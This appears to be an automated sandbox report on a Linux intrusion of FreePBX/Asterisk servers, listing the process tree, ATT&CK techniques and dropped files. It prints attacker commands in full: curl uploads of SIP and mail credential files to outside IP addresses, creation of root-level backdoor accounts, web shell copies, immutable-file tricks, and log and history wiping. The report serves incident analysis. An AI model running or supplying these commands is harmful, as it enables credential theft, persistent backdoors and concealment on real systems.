/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/cache/.fontconfig/.cfg3⤵
-
-
/usr/bin/dirnamedirname /etc/.ssl/.cert3⤵
-
-
/bin/mkdirmkdir -p /etc/.ssl3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /etc/.ssl/.cert3⤵
-
-
/usr/bin/dirnamedirname /root/.config/.pref3⤵
-
-
/bin/mkdirmkdir -p /root/.config3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
- Reads runtime system information
-
-
/usr/bin/chattrchattr +i /root/.config/.pref3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/findfind /var/log -name "*.log" -exec sh -c "cat /dev/null > {}" ";"3⤵
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
- Deletes Audit logs
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
-
/bin/rmrm -rf "/var/log/secure*" /var/log/messages /var/log/auth.log "/var/log/httpd/*" "/var/log/nginx/*" "/var/log/apache2/*"3⤵
- Deletes system logs
- Deletes log files
-
-
/bin/rmrm -f /root/.bash_history /root/.zsh_history3⤵
-
-
-
/usr/bin/curlcurl http://160.119.69.4/x -ks2⤵
- Checks CPU configuration
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
- Reads runtime system information
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/bin/mkdirmkdir -p /var/www/html/rest_phones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/h/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/fpbxphones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/phones/2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php2⤵
- Reads runtime system information
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php2⤵
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php2⤵
-
-
/bin/chmodchmod +x /var/www/html/admin/views/ajax.php2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chattrchattr +i /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +i /var/www/html/h.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/h.php2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /tmp/test.sh2⤵
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /tmp/test.sh2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /var/spool/asterisk/tmp/test.sh2⤵
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
- Reads runtime system information
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
- Reads runtime system information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /var/spool/asterisk/tmp/test.sh2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
3Clear Linux or Mac System Logs
3Modify Authentication Process
1Pluggable Authentication Modules
1Virtualization/Sandbox Evasion
1System Checks
1Credential Access
Modify Authentication Process
1Pluggable Authentication Modules
1OS Credential Dumping
1/etc/passwd and /etc/shadow
1Replay Monitor
Loading Replay Monitor...
Downloads
group+
group+
group+
group+
group+
group+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
passwd
passwd+
passwd+
passwd+
passwd+
passwd+
passwd+
sedMKyX8n
sedegcAY9
sedzWXexs
shadow+
shadow+
shadow+
shadow+
shadow+
shadow+
sedN0WMPU
sedncxv4L
subuid+
subuid+
subuid+
subuid+
subuid+
.bash_logout
.bashrc
.profile
.bash_profile
.bash_profile
test.sh
.cache
tmp.3Y8x03
tmp.8VlhMb
tmp.BIVaHk
tmp.ClkEPm
tmp.EvuBQk
tmp.G3DNm8
tmp.QuWzdj
tmp.lscJzW
tmp.nDgNHP